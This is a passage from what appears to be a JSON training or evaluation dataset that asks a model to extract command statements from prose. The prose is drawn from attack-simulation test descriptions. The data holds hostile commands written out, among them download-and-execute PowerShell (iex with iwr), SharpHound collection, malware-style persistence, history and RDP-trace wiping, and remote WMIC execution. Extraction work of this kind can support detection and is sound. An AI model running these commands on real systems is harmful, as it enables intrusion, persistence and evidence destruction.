\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    NirCmd is often employed by threat actors to run commands under the SYSTEM context, enabling activities like recon or privilege escalation, via the command: cmd /c \"#{nircmd_location}\" #{command_to_execute}\n; This test mimics the Octopus malware by executing the command: copy %temp%\\ExplorerSync.db %temp%\\..\\Microsoft\\ExplorerSync.db\nschtasks /create /tn ExplorerSync /tr \"javaw -jar %temp%\\..\\Microsoft\\ExplorerSync.db\" /sc MINUTE /f",
    "output": "{\"command_list\": [\"cmd /c \\\"#{nircmd_location}\\\" #{command_to_execute}\\n\", \"copy %temp%\\\\ExplorerSync.db %temp%\\\\..\\\\Microsoft\\\\ExplorerSync.db\\nschtasks /create /tn ExplorerSync /tr \\\"javaw -jar %temp%\\\\..\\\\Microsoft\\\\ExplorerSync.db\\\" /sc MINUTE /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The malware Ursnif downloads supplementary modules from its command-and-control server and persists them in the registry via the command: reg add HKCU\\Software\\AppDataLow\\Software\\Microsoft\\3A861D62-51E0-15700F2219A4 /v comsxRes /t REG_BINARY  /d 72656463616e617279 /f.; To clear the saved remote computer names and usernames from the Windows RDP client, use the following commands: reg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\" /va /f\nreg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers\" /f\n",
    "output": "{\"command_list\": [\"reg add HKCU\\\\Software\\\\AppDataLow\\\\Software\\\\Microsoft\\\\3A861D62-51E0-15700F2219A4 /v comsxRes /t REG_BINARY  /d 72656463616e617279 /f\\n\", \"reg delete \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Default\\\" /va /f\\nreg delete \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Servers\\\" /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable the Windows Lock Workstation feature for the current user, modify the registry by executing this command in the cmd console: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v DisableLockWorkstation /t REG_DWORD /d 1 /f; You can modify the registry to conceal desktop icons by executing this command via cmd: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoDesktop /t REG_DWORD /d 1 /f. Be aware that certain Group Policy adjustments might need a reboot to apply fully.",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\" /v DisableLockWorkstation /t REG_DWORD /d 1 /f\\n\", \"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\" /v NoDesktop /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For clearing the shell history specifically in bash, run this command: history -c; The shell history can be suspended, similar to the technique in Awfulshred wiper, by executing this command: set +o history",
    "output": "{\"command_list\": [\"history -c\\n\", \"set +o history\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When this test completes, it will start a new process locally, which can be done via the command: wmic process call create #{process_to_execute}; For remote process execution using WMIC, provide the target IP in the node parameter and run the following: wmic /user:#{user_name} /password:#{password} /node:\"#{node}\" process call create #{process_to_execute}\n",
    "output": "{\"command_list\": [\"wmic process call create #{process_to_execute}\\n\", \"wmic /user:#{user_name} /password:#{password} /node:\\\"#{node}\\\" process call create #{process_to_execute}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For finding files with certain extensions and saving them to a zip file prior to extraction, run the following PowerShell script:\n$startingDirectory = \"#{starting_directory}\"\n$outputZip = \"#{output_zip_folder_path}\"\n$fileExtensionsString = \"#{file_extensions}\" \n$fileExtensions = $fileExtensionsString -split \", \"\n\nNew-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null\n\nFunction Search-Files {\n  param (\n    [string]$directory\n  )\n  $files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {\n    $fileExtensions -contains $_.Extension.ToLower()\n  }\n  return $files\n}\n\n$foundFiles = Search-Files -directory $startingDirectory\nif ($foundFiles.Count -gt 0) {\n  $foundFilePaths = $foundFiles.FullName\n  Compress-Archive -Path $foundFilePaths -DestinationPath \"$outputZip\\data.zip\"\n\n  Write-Host \"Zip file created: $outputZip\\data.zip\"\n  } else {\n      Write-Host \"No files found with the specified extensions.\"\n  }\n; This test involves downloading SQLite databases and a dump script, then running a search with the command: cd $HOME\ncurl -O #{remote_url}/art\ncurl -O #{remote_url}/gta.db\ncurl -O #{remote_url}/sqlite_dump.sh\nchmod +x sqlite_dump.sh\nfind . ! -executable -exec bash -c 'if [[ \"$(head -c 15 {} | strings)\" == \"SQLite format 3\" ]]; then echo \"{}\"; ./sqlite_dump.sh {}; fi' \\;",
    "output": "{\"command_list\": [\"$startingDirectory = \\\"#{starting_directory}\\\"\\n$outputZip = \\\"#{output_zip_folder_path}\\\"\\n$fileExtensionsString = \\\"#{file_extensions}\\\" \\n$fileExtensions = $fileExtensionsString -split \\\", \\\"\\n\\nNew-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null\\n\\nFunction Search-Files {\\n  param (\\n    [string]$directory\\n  )\\n  $files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {\\n    $fileExtensions -contains $_.Extension.ToLower()\\n  }\\n  return $files\\n}\\n\\n$foundFiles = Search-Files -directory $startingDirectory\\nif ($foundFiles.Count -gt 0) {\\n  $foundFilePaths = $foundFiles.FullName\\n  Compress-Archive -Path $foundFilePaths -DestinationPath \\\"$outputZip\\\\data.zip\\\"\\n\\n  Write-Host \\\"Zip file created: $outputZip\\\\data.zip\\\"\\n  } else {\\n      Write-Host \\\"No files found with the specified extensions.\\\"\\n  }\\n\", \"cd $HOME\\ncurl -O #{remote_url}/art\\ncurl -O #{remote_url}/gta.db\\ncurl -O #{remote_url}/sqlite_dump.sh\\nchmod +x sqlite_dump.sh\\nfind . ! -executable -exec bash -c 'if [[ \\\"$(head -c 15 {} | strings)\\\" == \\\"SQLite format 3\\\" ]]; then echo \\\"{}\\\"; ./sqlite_dump.sh {}; fi' \\\\;\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique involves Microsoft Office creating a malicious .bat file in AppData and executing it, which can be done with the command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macrocode = \"   Open `\"#{bat_path}`\" For Output As #1`n   Write #1, `\"calc.exe`\"`n   Close #1`n   a = Shell(`\"cmd.exe /c #{bat_path} `\", vbNormalFocus)`n\"\nInvoke-MalDoc -macroCode $macrocode -officeProduct #{ms_product}\n; By combining Google Chrome and ScriptControl, this module achieves code execution through a locally hosted malicious payload. The payload, which defaults to executing calc.exe, is fetched and executed by headless Chrome via this command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroFile \"PathToAtomicsFolder\\T1204.002\\src\\chromeexec-macrocode.txt\" -officeProduct \"Word\" -sub \"ExecChrome\"",
